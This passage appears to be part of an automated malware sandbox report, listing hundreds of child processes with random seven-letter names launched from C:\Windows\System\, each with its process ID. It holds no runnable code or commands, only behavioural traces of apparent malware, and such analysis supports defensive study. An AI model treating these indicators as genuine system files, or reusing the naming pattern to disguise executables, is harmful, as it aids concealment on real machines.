  PID:8844
- C:\Windows\System\NGVhHoO.exe
  C:\Windows\System\NGVhHoO.exe
  2⤵
  PID:8868
- C:\Windows\System\ojuGYBu.exe
  C:\Windows\System\ojuGYBu.exe
  2⤵
  PID:8892
- C:\Windows\System\zJwuAmv.exe
  C:\Windows\System\zJwuAmv.exe
  2⤵
  PID:8916
- C:\Windows\System\lvZaAJw.exe
  C:\Windows\System\lvZaAJw.exe
  2⤵
  PID:8936
- C:\Windows\System\fRopSlL.exe
  C:\Windows\System\fRopSlL.exe
  2⤵
  PID:8956
- C:\Windows\System\iMLLftB.exe
  C:\Windows\System\iMLLftB.exe
  2⤵
  PID:8988
- C:\Windows\System\dazBUyz.exe
  C:\Windows\System\dazBUyz.exe
  2⤵
  PID:9004
- C:\Windows\System\bgFLrpV.exe
  C:\Windows\System\bgFLrpV.exe
  2⤵
  PID:9028
- C:\Windows\System\KXVzhlo.exe
  C:\Windows\System\KXVzhlo.exe
  2⤵
  PID:9052
- C:\Windows\System\wSpHZgI.exe
  C:\Windows\System\wSpHZgI.exe
  2⤵
  PID:9080
- C:\Windows\System\IFsOgCn.exe
  C:\Windows\System\IFsOgCn.exe
  2⤵
  PID:9096
- C:\Windows\System\CxOwJVl.exe
  C:\Windows\System\CxOwJVl.exe
  2⤵
  PID:9112
- C:\Windows\System\bOISMsz.exe
  C:\Windows\System\bOISMsz.exe
  2⤵
  PID:9172
- C:\Windows\System\qupwuRw.exe
  C:\Windows\System\qupwuRw.exe
  2⤵
  PID:9188
- C:\Windows\System\GoIwgDN.exe
  C:\Windows\System\GoIwgDN.exe
  2⤵
  PID:9208
- C:\Windows\System\wykSUGb.exe
  C:\Windows\System\wykSUGb.exe
  2⤵
  PID:7056
- C:\Windows\System\YUynZMQ.exe
  C:\Windows\System\YUynZMQ.exe
  2⤵
  PID:4012
- C:\Windows\System\rRAyXvx.exe
  C:\Windows\System\rRAyXvx.exe
  2⤵
  PID:4656
- C:\Windows\System\zQsJXQV.exe
  C:\Windows\System\zQsJXQV.exe
  2⤵
  PID:8328
- C:\Windows\System\lqeEzIY.exe
  C:\Windows\System\lqeEzIY.exe
  2⤵
  PID:4948
- C:\Windows\System\WhpUSRj.exe
  C:\Windows\System\WhpUSRj.exe
  2⤵
  PID:7768
- C:\Windows\System\lkktxNb.exe
  C:\Windows\System\lkktxNb.exe
  2⤵
  PID:8056
- C:\Windows\System\SvpYryg.exe
  C:\Windows\System\SvpYryg.exe
  2⤵
  PID:6924
- C:\Windows\System\KjHFJXm.exe
  C:\Windows\System\KjHFJXm.exe
  2⤵
  PID:7000
- C:\Windows\System\MUNosrn.exe
  C:\Windows\System\MUNosrn.exe
  2⤵
  PID:5808
- C:\Windows\System\eNuJwgC.exe
  C:\Windows\System\eNuJwgC.exe
  2⤵
  PID:6348
- C:\Windows\System\NuUTtrM.exe
  C:\Windows\System\NuUTtrM.exe
  2⤵
  PID:3464
- C:\Windows\System\bYBnAEK.exe
  C:\Windows\System\bYBnAEK.exe
  2⤵
  PID:7456
- C:\Windows\System\oEEOVmp.exe
  C:\Windows\System\oEEOVmp.exe
  2⤵
  PID:7588
- C:\Windows\System\hSgyCth.exe
  C:\Windows\System\hSgyCth.exe
  2⤵
  PID:7700
- C:\Windows\System\WxNcYpO.exe
  C:\Windows\System\WxNcYpO.exe
  2⤵
  PID:7856
- C:\Windows\System\bfPCEND.exe
  C:\Windows\System\bfPCEND.exe
  2⤵
  PID:8072
- C:\Windows\System\HoxNYPa.exe
  C:\Windows\System\HoxNYPa.exe
  2⤵
  PID:8316
- C:\Windows\System\ryRrGaj.exe
  C:\Windows\System\ryRrGaj.exe
  2⤵
  PID:8376
- C:\Windows\System\sSdxvbf.exe
  C:\Windows\System\sSdxvbf.exe
  2⤵
  PID:8900
- C:\Windows\System\nuAVDOw.exe
  C:\Windows\System\nuAVDOw.exe
  2⤵
  PID:9036
- C:\Windows\System\ADRdIap.exe
  C:\Windows\System\ADRdIap.exe
  2⤵
  PID:8480
- C:\Windows\System\jTdxgmu.exe
  C:\Windows\System\jTdxgmu.exe
  2⤵
  PID:8888
- C:\Windows\System\UkNhXAz.exe
  C:\Windows\System\UkNhXAz.exe
  2⤵
  PID:8156
- C:\Windows\System\lwQlUPH.exe
  C:\Windows\System\lwQlUPH.exe
  2⤵
  PID:3020
- C:\Windows\System\KoWjzhR.exe
  C:\Windows\System\KoWjzhR.exe
  2⤵
  PID:9240
- C:\Windows\System\AUHGFXp.exe
  C:\Windows\System\AUHGFXp.exe
  2⤵
  PID:9268
- C:\Windows\System\CqfhCqp.exe
  C:\Windows\System\CqfhCqp.exe
  2⤵
  PID:9436
- C:\Windows\System\KemxAIm.exe
  C:\Windows\System\KemxAIm.exe
  2⤵
  PID:9452
- C:\Windows\System\UCNSwCc.exe
  C:\Windows\System\UCNSwCc.exe
  2⤵
  PID:9496
- C:\Windows\System\BckWIMC.exe
  C:\Windows\System\BckWIMC.exe
  2⤵
  PID:9520
- C:\Windows\System\hifYwps.exe
  C:\Windows\System\hifYwps.exe
  2⤵
  PID:9548
- C:\Windows\System\fyPdlrl.exe
  C:\Windows\System\fyPdlrl.exe
  2⤵
  PID:9576
- C:\Windows\System\zSVmwrb.exe
  C:\Windows\System\zSVmwrb.exe
  2⤵
  PID:9620
- C:\Windows\System\dyiTFjp.exe
  C:\Windows\System\dyiTFjp.exe
  2⤵
  PID:9636
- C:\Windows\System\CrLKldE.exe
  C:\Windows\System\CrLKldE.exe
  2⤵
  PID:9660
- C:\Windows\System\UGmauzy.exe
  C:\Windows\System\UGmauzy.exe
  2⤵
  PID:9676
- C:\Windows\System\HcqEBoq.exe
  C:\Windows\System\HcqEBoq.exe
  2⤵
  PID:9704
- C:\Windows\System\ZVAMvJG.exe
  C:\Windows\System\ZVAMvJG.exe
  2⤵
  PID:9732
- C:\Windows\System\KlNSFIz.exe
  C:\Windows\System\KlNSFIz.exe
  2⤵
  PID:9756
- C:\Windows\System\osWXzLL.exe
  C:\Windows\System\osWXzLL.exe
  2⤵
  PID:9776
- C:\Windows\System\wNIUABi.exe
  C:\Windows\System\wNIUABi.exe
  2⤵
  PID:9800
- C:\Windows\System\bOuJXEd.exe
  C:\Windows\System\bOuJXEd.exe
  2⤵
  PID:9816
- C:\Windows\System\WpFglOA.exe
  C:\Windows\System\WpFglOA.exe
  2⤵
  PID:9840
- C:\Windows\System\yhdoBFv.exe
  C:\Windows\System\yhdoBFv.exe
  2⤵
  PID:9856
- C:\Windows\System\XIWskqE.exe
  C:\Windows\System\XIWskqE.exe
  2⤵
  PID:9872
- C:\Windows\System\GGOCYbe.exe
  C:\Windows\System\GGOCYbe.exe
  2⤵
  PID:9896
- C:\Windows\System\jtTUcSl.exe
  C:\Windows\System\jtTUcSl.exe
  2⤵
  PID:9924
- C:\Windows\System\vbiwnmE.exe
  C:\Windows\System\vbiwnmE.exe
  2⤵
  PID:9948
- C:\Windows\System\hMzyAlA.exe
  C:\Windows\System\hMzyAlA.exe
  2⤵
  PID:9968
- C:\Windows\System\ShdHfQM.exe
  C:\Windows\System\ShdHfQM.exe
  2⤵
  PID:9996
- C:\Windows\System\kIVgJUz.exe
  C:\Windows\System\kIVgJUz.exe
  2⤵
  PID:10016
- C:\Windows\System\DoeyqJV.exe
  C:\Windows\System\DoeyqJV.exe
  2⤵
  PID:10040
- C:\Windows\System\DbFbMqM.exe
  C:\Windows\System\DbFbMqM.exe
  2⤵
  PID:10056
- C:\Windows\System\KZqdGkq.exe
  C:\Windows\System\KZqdGkq.exe
  2⤵
  PID:10072
- C:\Windows\System\OmjpOcl.exe
  C:\Windows\System\OmjpOcl.exe
  2⤵
  PID:10100
- C:\Windows\System\AuaFdCk.exe
  C:\Windows\System\AuaFdCk.exe
  2⤵
  PID:10124
- C:\Windows\System\cVufILh.exe
  C:\Windows\System\cVufILh.exe
  2⤵
  PID:10156
- C:\Windows\System\eXoTLGx.exe
  C:\Windows\System\eXoTLGx.exe
  2⤵
  PID:10180
- C:\Windows\System\zXnVttJ.exe
  C:\Windows\System\zXnVttJ.exe
  2⤵
  PID:10204
- C:\Windows\System\yNoWTlM.exe
  C:\Windows\System\yNoWTlM.exe
  2⤵
  PID:10220
- C:\Windows\System\TxQWlIE.exe
  C:\Windows\System\TxQWlIE.exe
  2⤵
  PID:8996
- C:\Windows\System\KRxOoPG.exe
  C:\Windows\System\KRxOoPG.exe
  2⤵
  PID:8260
- C:\Windows\System\BwUQiuX.exe
  C:\Windows\System\BwUQiuX.exe
  2⤵
  PID:2132
- C:\Windows\System\FWiwMhu.exe
  C:\Windows\System\FWiwMhu.exe
  2⤵
  PID:1552
- C:\Windows\System\byQdBbq.exe
  C:\Windows\System\byQdBbq.exe
  2⤵
  PID:6856
- C:\Windows\System\XAjJViP.exe
  C:\Windows\System\XAjJViP.exe
  2⤵
  PID:2140
- C:\Windows\System\RgFBsCm.exe
  C:\Windows\System\RgFBsCm.exe
  2⤵
  PID:8904
- C:\Windows\System\DrRsGCD.exe
  C:\Windows\System\DrRsGCD.exe
  2⤵
  PID:8612
- C:\Windows\System\TnwnJtz.exe
  C:\Windows\System\TnwnJtz.exe
  2⤵
  PID:2316
- C:\Windows\System\FnpNxZi.exe
  C:\Windows\System\FnpNxZi.exe
  2⤵
  PID:3992
- C:\Windows\System\cJjBbbZ.exe
  C:\Windows\System\cJjBbbZ.exe
  2⤵
  PID:7296
- C:\Windows\System\xMwSFJI.exe
  C:\Windows\System\xMwSFJI.exe
  2⤵
  PID:3312
- C:\Windows\System\QRJXgPX.exe
  C:\Windows\System\QRJXgPX.exe
  2⤵
  PID:1416
- C:\Windows\System\piXpnqi.exe
  C:\Windows\System\piXpnqi.exe
  2⤵
  PID:9260
- C:\Windows\System\VvRJjqY.exe
  C:\Windows\System\VvRJjqY.exe
  2⤵
  PID:9332
- C:\Windows\System\MgJmcTX.exe
  C:\Windows\System\MgJmcTX.exe
  2⤵
  PID:9364
- C:\Windows\System\kHdlKoT.exe
  C:\Windows\System\kHdlKoT.exe
  2⤵
  PID:1092
- C:\Windows\System\xixukjI.exe
  C:\Windows\System\xixukjI.exe
  2⤵
  PID:5092
- C:\Windows\System\PAByUEZ.exe
  C:\Windows\System\PAByUEZ.exe
  2⤵
  PID:868
- C:\Windows\System\vHFUHPi.exe
  C:\Windows\System\vHFUHPi.exe
  2⤵
  PID:2000
- C:\Windows\System\ycdFNGa.exe
  C:\Windows\System\ycdFNGa.exe
  2⤵
  PID:9432
- C:\Windows\System\jBWVYrC.exe
  C:\Windows\System\jBWVYrC.exe
  2⤵
  PID:2332
- C:\Windows\System\HlpPqbz.exe
  C:\Windows\System\HlpPqbz.exe
  2⤵
  PID:1668
- C:\Windows\System\bdGGNAH.exe
  C:\Windows\System\bdGGNAH.exe
  2⤵
  PID:9504
- C:\Windows\System\ogoqKmu.exe
  C:\Windows\System\ogoqKmu.exe
  2⤵
  PID:4152
- C:\Windows\System\KGiGzgt.exe
  C:\Windows\System\KGiGzgt.exe
  2⤵
  PID:9556
- C:\Windows\System\pIQleiF.exe
  C:\Windows\System\pIQleiF.exe
  2⤵
  PID:9600
- C:\Windows\System\UbuscNz.exe
  C:\Windows\System\UbuscNz.exe
  2⤵
  PID:9652
- C:\Windows\System\NCfzjoW.exe
  C:\Windows\System\NCfzjoW.exe
  2⤵
  PID:9692
- C:\Windows\System\SoUZwya.exe
  C:\Windows\System\SoUZwya.exe
  2⤵
  PID:9700
- C:\Windows\System\ICMXHIG.exe
  C:\Windows\System\ICMXHIG.exe
  2⤵
  PID:9752
- C:\Windows\System\mhyHQAT.exe
  C:\Windows\System\mhyHQAT.exe
  2⤵
  PID:9964
- C:\Windows\System\vKWbPIq.exe
  C:\Windows\System\vKWbPIq.exe
  2⤵
  PID:4536
- C:\Windows\System\nfAVErx.exe
  C:\Windows\System\nfAVErx.exe
  2⤵
  PID:9852
- C:\Windows\System\agAtdSJ.exe
  C:\Windows\System\agAtdSJ.exe
  2⤵
  PID:9912
- C:\Windows\System\MwrluZT.exe
  C:\Windows\System\MwrluZT.exe
  2⤵
  PID:10132
- C:\Windows\System\cBpzRdo.exe
  C:\Windows\System\cBpzRdo.exe
  2⤵
  PID:9000
- C:\Windows\System\HbGHiLc.exe
  C:\Windows\System\HbGHiLc.exe
  2⤵
  PID:10024
- C:\Windows\System\sbdGsMS.exe
  C:\Windows\System\sbdGsMS.exe
  2⤵
  PID:9124
- C:\Windows\System\EoOXgjP.exe
  C:\Windows\System\EoOXgjP.exe
  2⤵
  PID:10212
- C:\Windows\System\oWEKGgu.exe
  C:\Windows\System\oWEKGgu.exe
  2⤵
  PID:8808
- C:\Windows\System\QSfcHAP.exe
  C:\Windows\System\QSfcHAP.exe
  2⤵
  PID:3204
- C:\Windows\System\gGKqHpQ.exe
  C:\Windows\System\gGKqHpQ.exe
  2⤵
  PID:2920
- C:\Windows\System\hRGaSaC.exe
  C:\Windows\System\hRGaSaC.exe
  2⤵
  PID:4944
- C:\Windows\System\FqFIOdr.exe
  C:\Windows\System\FqFIOdr.exe
  2⤵
  PID:10152
- C:\Windows\System\fitpTKF.exe
  C:\Windows\System\fitpTKF.exe
  2⤵
  PID:8568
- C:\Windows\System\tEQdjYM.exe
  C:\Windows\System\tEQdjYM.exe
  2⤵
  PID:3924
- C:\Windows\System\sJwOisM.exe
  C:\Windows\System\sJwOisM.exe
  2⤵
  PID:9672
- C:\Windows\System\xQtBYyk.exe
  C:\Windows\System\xQtBYyk.exe
  2⤵
  PID:8120
- C:\Windows\System\DiDKYWD.exe
  C:\Windows\System\DiDKYWD.exe
  2⤵
  PID:9792
- C:\Windows\System\eJHzAzF.exe
  C:\Windows\System\eJHzAzF.exe
  2⤵
  PID:9516
- C:\Windows\System\OdttfbK.exe
  C:\Windows\System\OdttfbK.exe
  2⤵
  PID:10252
- C:\Windows\System\ztVpyjX.exe
  C:\Windows\System\ztVpyjX.exe
  2⤵
  PID:10272
- C:\Windows\System\QFKjBDO.exe
  C:\Windows\System\QFKjBDO.exe
  2⤵
  PID:10296
- C:\Windows\System\tbxzuAs.exe
  C:\Windows\System\tbxzuAs.exe
  2⤵
  PID:10320
- C:\Windows\System\CQhJspa.exe
  C:\Windows\System\CQhJspa.exe
  2⤵
  PID:10344
- C:\Windows\System\vXPEvzE.exe
  C:\Windows\System\vXPEvzE.exe
  2⤵
  PID:10364
- C:\Windows\System\YKJNmFM.exe
  C:\Windows\System\YKJNmFM.exe
  2⤵
  PID:10380
- C:\Windows\System\EhdQXRj.exe
  C:\Windows\System\EhdQXRj.exe
  2⤵
  PID:10408
- C:\Windows\System\JlAZAlM.exe
  C:\Windows\System\JlAZAlM.exe
  2⤵
  PID:10424
- C:\Windows\System\VCkIGnP.exe
  C:\Windows\System\VCkIGnP.exe
  2⤵
  PID:10444
- C:\Windows\System\tmwufte.exe
  C:\Windows\System\tmwufte.exe
  2⤵
  PID:10472
- C:\Windows\System\lKONmKl.exe
  C:\Windows\System\lKONmKl.exe
  2⤵
  PID:10496
- C:\Windows\System\mffvopR.exe
  C:\Windows\System\mffvopR.exe
  2⤵
  PID:10516
- C:\Windows\System\gzGsYPE.exe
  C:\Windows\System\gzGsYPE.exe
  2⤵
  PID:10536
- C:\Windows\System\pYZqeIq.exe
  C:\Windows\System\pYZqeIq.exe
  2⤵
  PID:10564
- C:\Windows\System\sLSIbVR.exe
  C:\Windows\System\sLSIbVR.exe
  2⤵
  PID:10580
- C:\Windows\System\tmPnduP.exe
  C:\Windows\System\tmPnduP.exe
  2⤵
  PID:10604
- C:\Windows\System\wLVozkZ.exe
  C:\Windows\System\wLVozkZ.exe
  2⤵
  PID:10620
- C:\Windows\System\IuIjxAE.exe
  C:\Windows\System\IuIjxAE.exe
  2⤵
  PID:10636
- C:\Windows\System\hcDhGWx.exe
  C:\Windows\System\hcDhGWx.exe
  2⤵
  PID:10656
- C:\Windows\System\mqdWwcy.exe
  C:\Windows\System\mqdWwcy.exe
  2⤵
  PID:10672
- C:\Windows\System\EApdnRK.exe
  C:\Windows\System\EApdnRK.exe
  2⤵
  PID:10692
- C:\Windows\System\QSSvWuS.exe
  C:\Windows\System\QSSvWuS.exe
  2⤵
  PID:10712
- C:\Windows\System\XQsZJzK.exe
  C:\Windows\System\XQsZJzK.exe
  2⤵
  PID:10736
- C:\Windows\System\jaURWZE.exe
  C:\Windows\System\jaURWZE.exe
  2⤵
  PID:10760
- C:\Windows\System\XylnFwl.exe
  C:\Windows\System\XylnFwl.exe
  2⤵
  PID:10784
- C:\Windows\System\BWtttYO.exe
  C:\Windows\System\BWtttYO.exe
  2⤵
  PID:10804
- C:\Windows\System\ocGANki.exe
  C:\Windows\System\ocGANki.exe
  2⤵
  PID:10828
- C:\Windows\System\mvbMXRg.exe
  C:\Windows\System\mvbMXRg.exe
  2⤵
  PID:10852
- C:\Windows\System\KUhHCFO.exe
  C:\Windows\System\KUhHCFO.exe
  2⤵
  PID:10880
- C:\Windows\System\zayrDXJ.exe
  C:\Windows\System\zayrDXJ.exe
  2⤵
  PID:10896
- C:\Windows\System\lkurXbq.exe
  C:\Windows\System\lkurXbq.exe
  2⤵
  PID:10928
- C:\Windows\System\lPmvPnk.exe
  C:\Windows\System\lPmvPnk.exe
  2⤵
  PID:10948
- C:\Windows\System\gLVewMQ.exe
  C:\Windows\System\gLVewMQ.exe
  2⤵
  PID:10976
- C:\Windows\System\MeULRsq.exe
  C:\Windows\System\MeULRsq.exe
  2⤵
  PID:10996
- C:\Windows\System\NNSPmcZ.exe
  C:\Windows\System\NNSPmcZ.exe
  2⤵
  PID:11020
- C:\Windows\System\IRZmKGq.exe
  C:\Windows\System\IRZmKGq.exe
  2⤵
  PID:11044
- C:\Windows\System\UnCrbfz.exe
  C:\Windows\System\UnCrbfz.exe
  2⤵
  PID:11068
- C:\Windows\System\zxmbDQK.exe
  C:\Windows\System\zxmbDQK.exe
  2⤵
  PID:11092
- C:\Windows\System\HycYJzP.exe
  C:\Windows\System\HycYJzP.exe
  2⤵
  PID:11116
- C:\Windows\System\GNbcpVg.exe
  C:\Windows\System\GNbcpVg.exe
  2⤵
  PID:11136
- C:\Windows\System\jrQRZVF.exe
  C:\Windows\System\jrQRZVF.exe
  2⤵
  PID:11160
- C:\Windows\System\NaPQZRi.exe
  C:\Windows\System\NaPQZRi.exe
  2⤵
  PID:11188
- C:\Windows\System\lXhmZsd.exe
  C:\Windows\System\lXhmZsd.exe
  2⤵
  PID:11208
- C:\Windows\System\juBQWcx.exe
  C:\Windows\System\juBQWcx.exe
  2⤵
  PID:11228
- C:\Windows\System\OFJbyBh.exe
  C:\Windows\System\OFJbyBh.exe
  2⤵
  PID:11248
- C:\Windows\System\vnAtFNt.exe
  C:\Windows\System\vnAtFNt.exe
  2⤵
  PID:10236
- C:\Windows\System\DEqmlzU.exe
  C:\Windows\System\DEqmlzU.exe
  2⤵
  PID:4200
- C:\Windows\System\DmCTDpr.exe
  C:\Windows\System\DmCTDpr.exe
  2⤵
  PID:2384
- C:\Windows\System\BRNYCpe.exe
  C:\Windows\System\BRNYCpe.exe
  2⤵
  PID:9248
- C:\Windows\System\WKEDCIv.exe
  C:\Windows\System\WKEDCIv.exe
  2⤵
  PID:4376
- C:\Windows\System\qHaqwxK.exe
  C:\Windows\System\qHaqwxK.exe
  2⤵
  PID:2016
- C:\Windows\System\pMbPJPY.exe
  C:\Windows\System\pMbPJPY.exe
  2⤵
  PID:9848
- C:\Windows\System\pRMjZjJ.exe
  C:\Windows\System\pRMjZjJ.exe
  2⤵
  PID:10084
- C:\Windows\System\GLlYggH.exe
  C:\Windows\System\GLlYggH.exe
  2⤵
  PID:8976
- C:\Windows\System\McZBvmw.exe
  C:\Windows\System\McZBvmw.exe
  2⤵
  PID:10416
- C:\Windows\System\MnmFhsf.exe
  C:\Windows\System\MnmFhsf.exe
  2⤵
  PID:10544
- C:\Windows\System\NLwlKMZ.exe
  C:\Windows\System\NLwlKMZ.exe
  2⤵
  PID:8816
- C:\Windows\System\DtzNbgJ.exe
  C:\Windows\System\DtzNbgJ.exe
  2⤵
  PID:8884
- C:\Windows\System\viKuKZF.exe
  C:\Windows\System\viKuKZF.exe
  2⤵
  PID:9888
- C:\Windows\System\KuBwSzY.exe
  C:\Windows\System\KuBwSzY.exe
  2⤵
  PID:10244
- C:\Windows\System\helUDdE.exe
  C:\Windows\System\helUDdE.exe
  2⤵
  PID:10288
- C:\Windows\System\fPkcpbF.exe
  C:\Windows\System\fPkcpbF.exe
  2⤵
  PID:9108
- C:\Windows\System\GeJifAJ.exe
  C:\Windows\System\GeJifAJ.exe
  2⤵
  PID:10892
- C:\Windows\System\kLRDTer.exe
  C:\Windows\System\kLRDTer.exe
  2⤵
  PID:10940
- C:\Windows\System\YXOpVQv.exe
  C:\Windows\System\YXOpVQv.exe
  2⤵
  PID:11036
- C:\Windows\System\jbpCpdv.exe
  C:\Windows\System\jbpCpdv.exe
  2⤵
  PID:10148
- C:\Windows\System\ALGTUrv.exe
  C:\Windows\System\ALGTUrv.exe
  2⤵
  PID:11156
- C:\Windows\System\JxefzNv.exe
  C:\Windows\System\JxefzNv.exe
  2⤵
  PID:11272
- C:\Windows\System\TJwQCbh.exe
  C:\Windows\System\TJwQCbh.exe
  2⤵
  PID:11296
- C:\Windows\System\pnDhewM.exe
  C:\Windows\System\pnDhewM.exe
  2⤵
  PID:11320
- C:\Windows\System\zesfTrQ.exe
  C:\Windows\System\zesfTrQ.exe
  2⤵
  PID:11344
- C:\Windows\System\bkAJcaz.exe
  C:\Windows\System\bkAJcaz.exe
  2⤵
  PID:11368
- C:\Windows\System\ZMwLaxj.exe
  C:\Windows\System\ZMwLaxj.exe
  2⤵
  PID:11388
- C:\Windows\System\YniEeAP.exe
  C:\Windows\System\YniEeAP.exe
  2⤵
  PID:11412
- C:\Windows\System\mpgHIJq.exe
  C:\Windows\System\mpgHIJq.exe
  2⤵
  PID:11432
- C:\Windows\System\rYYYMRH.exe
  C:\Windows\System\rYYYMRH.exe
  2⤵
  PID:11448
- C:\Windows\System\CnGylXs.exe
  C:\Windows\System\CnGylXs.exe
  2⤵
  PID:11464
- C:\Windows\System\ebhHJPv.exe
  C:\Windows\System\ebhHJPv.exe
  2⤵
  PID:11480
- C:\Windows\System\IwJOWQa.exe
  C:\Windows\System\IwJOWQa.exe
  2⤵
  PID:11496
- C:\Windows\System\HmcnKaC.exe
  C:\Windows\System\HmcnKaC.exe
  2⤵
  PID:11516
- C:\Windows\System\rdzsoUu.exe
  C:\Windows\System\rdzsoUu.exe
  2⤵
  PID:11544
- C:\Windows\System\RaukMnF.exe
  C:\Windows\System\RaukMnF.exe
  2⤵
  PID:11568
- C:\Windows\System\nZISwst.exe
  C:\Windows\System\nZISwst.exe
  2⤵
  PID:11596
- C:\Windows\System\pvPUEeJ.exe
  C:\Windows\System\pvPUEeJ.exe
  2⤵
  PID:11620
- C:\Windows\System\migtvQx.exe
  C:\Windows\System\migtvQx.exe
  2⤵
  PID:11652
- C:\Windows\System\htuivul.exe
  C:\Windows\System\htuivul.exe
  2⤵
  PID:11672
- C:\Windows\System\TmdgPwa.exe
  C:\Windows\System\TmdgPwa.exe
  2⤵
  PID:11696
- C:\Windows\System\fwkJoIS.exe
  C:\Windows\System\fwkJoIS.exe
  2⤵
  PID:11716
- C:\Windows\System\czVlHEU.exe
  C:\Windows\System\czVlHEU.exe
  2⤵
  PID:11736
- C:\Windows\System\yEBANOl.exe
  C:\Windows\System\yEBANOl.exe
  2⤵
  PID:11760
- C:\Windows\System\xQOnozm.exe
  C:\Windows\System\xQOnozm.exe
  2⤵
  PID:11784
- C:\Windows\System\AsWSwRc.exe
  C:\Windows\System\AsWSwRc.exe
  2⤵
  PID:11804
- C:\Windows\System\DzWoEXU.exe
  C:\Windows\System\DzWoEXU.exe
  2⤵
  PID:11820
- C:\Windows\System\EbqZidw.exe
  C:\Windows\System\EbqZidw.exe
  2⤵
  PID:11844
- C:\Windows\System\vXlbFWo.exe
  C:\Windows\System\vXlbFWo.exe
  2⤵
  PID:11868
- C:\Windows\System\TjAHDRr.exe
  C:\Windows\System\TjAHDRr.exe
  2⤵
  PID:11888
- C:\Windows\System\IXgBacD.exe
  C:\Windows\System\IXgBacD.exe
  2⤵
  PID:11912
- C:\Windows\System\hivwQIR.exe
  C:\Windows\System\hivwQIR.exe
  2⤵
  PID:11936
- C:\Windows\System\dYZvycR.exe
  C:\Windows\System\dYZvycR.exe
  2⤵
  PID:11960
- C:\Windows\System\KEPipxh.exe
  C:\Windows\System\KEPipxh.exe
  2⤵
  PID:11976
- C:\Windows\System\FoJWzMb.exe
  C:\Windows\System\FoJWzMb.exe
  2⤵
  PID:12004
- C:\Windows\System\zECirOt.exe
  C:\Windows\System\zECirOt.exe
  2⤵
  PID:12032
- C:\Windows\System\aGymxlc.exe
  C:\Windows\System\aGymxlc.exe
  2⤵
  PID:12056
- C:\Windows\System\OkMZnLX.exe
  C:\Windows\System\OkMZnLX.exe
  2⤵
  PID:12076
- C:\Windows\System\kRMcKsu.exe
  C:\Windows\System\kRMcKsu.exe
  2⤵
  PID:12096
- C:\Windows\System\hmUqNMb.exe
  C:\Windows\System\hmUqNMb.exe
  2⤵
  PID:12120
- C:\Windows\System\VwJSLax.exe
  C:\Windows\System\VwJSLax.exe
  2⤵
  PID:12148
- C:\Windows\System\wlMAvAW.exe
  C:\Windows\System\wlMAvAW.exe
  2⤵
  PID:12176
- C:\Windows\System\yxxWnXi.exe
  C:\Windows\System\yxxWnXi.exe
  2⤵
  PID:12200
- C:\Windows\System\KWsvqFf.exe
  C:\Windows\System\KWsvqFf.exe
  2⤵
  PID:12228
- C:\Windows\System\lWmWAcw.exe
  C:\Windows\System\lWmWAcw.exe
  2⤵
  PID:12256
- C:\Windows\System\NERmoMw.exe
  C:\Windows\System\NERmoMw.exe
  2⤵
  PID:12280
- C:\Windows\System\YswfdAB.exe
  C:\Windows\System\YswfdAB.exe
  2⤵
  PID:10596
- C:\Windows\System\GKbNgBG.exe
  C:\Windows\System\GKbNgBG.exe
  2⤵
  PID:5492
- C:\Windows\System\WonEUcv.exe
  C:\Windows\System\WonEUcv.exe
  2⤵
  PID:11260
- C:\Windows\System\rbeitsg.exe
  C:\Windows\System\rbeitsg.exe
  2⤵
  PID:9884
- C:\Windows\System\sLBDSHg.exe
  C:\Windows\System\sLBDSHg.exe
  2⤵
  PID:10780
- C:\Windows\System\jMLNWTM.exe
  C:\Windows\System\jMLNWTM.exe
  2⤵
  PID:10824
- C:\Windows\System\UttMlDQ.exe
  C:\Windows\System\UttMlDQ.exe
  2⤵
  PID:10352
- C:\Windows\System\aliFNLZ.exe
  C:\Windows\System\aliFNLZ.exe
  2⤵
  PID:10728
- C:\Windows\System\HYgnRNi.exe
  C:\Windows\System\HYgnRNi.exe
  2⤵
  PID:10988
- C:\Windows\System\ACiHIWA.exe
  C:\Windows\System\ACiHIWA.exe
  2⤵
  PID:10864
- C:\Windows\System\cxZwpLX.exe
  C:\Windows\System\cxZwpLX.exe
  2⤵
  PID:10512
- C:\Windows\System\wGvhtKs.exe
  C:\Windows\System\wGvhtKs.exe
  2⤵
  PID:10436
- C:\Windows\System\BqDfNNk.exe
  C:\Windows\System\BqDfNNk.exe
  2⤵
  PID:10528
- C:\Windows\System\dbcKWSM.exe
  C:\Windows\System\dbcKWSM.exe
  2⤵
  PID:7364
- C:\Windows\System\SeJUstI.exe
  C:\Windows\System\SeJUstI.exe
  2⤵
  PID:2568
- C:\Windows\System\BJLpIMt.exe
  C:\Windows\System\BJLpIMt.exe
  2⤵
  PID:10724
- C:\Windows\System\EhLuEjh.exe
  C:\Windows\System\EhLuEjh.exe
  2⤵
  PID:4692
- C:\Windows\System\XnWUoUk.exe
  C:\Windows\System\XnWUoUk.exe
  2⤵
  PID:11728
- C:\Windows\System\ZqtEvXj.exe
  C:\Windows\System\ZqtEvXj.exe
  2⤵
  PID:10844
- C:\Windows\System\NVoIySX.exe
  C:\Windows\System\NVoIySX.exe
  2⤵
  PID:5172
- C:\Windows\System\lxJDzkF.exe
  C:\Windows\System\lxJDzkF.exe
  2⤵
  PID:11908
- C:\Windows\System\swtvLWt.exe
  C:\Windows\System\swtvLWt.exe
  2⤵
  PID:12300
- C:\Windows\System\eKaIxVZ.exe
  C:\Windows\System\eKaIxVZ.exe
  2⤵
  PID:12332
- C:\Windows\System\hjVvcVK.exe
  C:\Windows\System\hjVvcVK.exe
  2⤵
  PID:12348
- C:\Windows\System\bWlqCRp.exe
  C:\Windows\System\bWlqCRp.exe
  2⤵
  PID:12368
- C:\Windows\System\wzxtnoG.exe
  C:\Windows\System\wzxtnoG.exe
  2⤵
  PID:12384
- C:\Windows\System\JYaWGCl.exe
  C:\Windows\System\JYaWGCl.exe
  2⤵
  PID:12404
- C:\Windows\System\ZGeozNc.exe
  C:\Windows\System\ZGeozNc.exe
  2⤵
  PID:12420
- C:\Windows\System\YQTDyqM.exe
  C:\Windows\System\YQTDyqM.exe
  2⤵
  PID:12436
- C:\Windows\System\OLoFgYa.exe
  C:\Windows\System\OLoFgYa.exe
  2⤵
  PID:12456
- C:\Windows\System\grGALTQ.exe
  C:\Windows\System\grGALTQ.exe
  2⤵
  PID:12480
- C:\Windows\System\IadgsUa.exe
  C:\Windows\System\IadgsUa.exe
  2⤵
  PID:12500
- C:\Windows\System\ebwSLdY.exe
  C:\Windows\System\ebwSLdY.exe
  2⤵
  PID:12528
- C:\Windows\System\roOYtCm.exe
  C:\Windows\System\roOYtCm.exe
  2⤵
  PID:12552
- C:\Windows\System\VVYFKcj.exe
  C:\Windows\System\VVYFKcj.exe
  2⤵
  PID:12576
- C:\Windows\System\FfjdDxH.exe
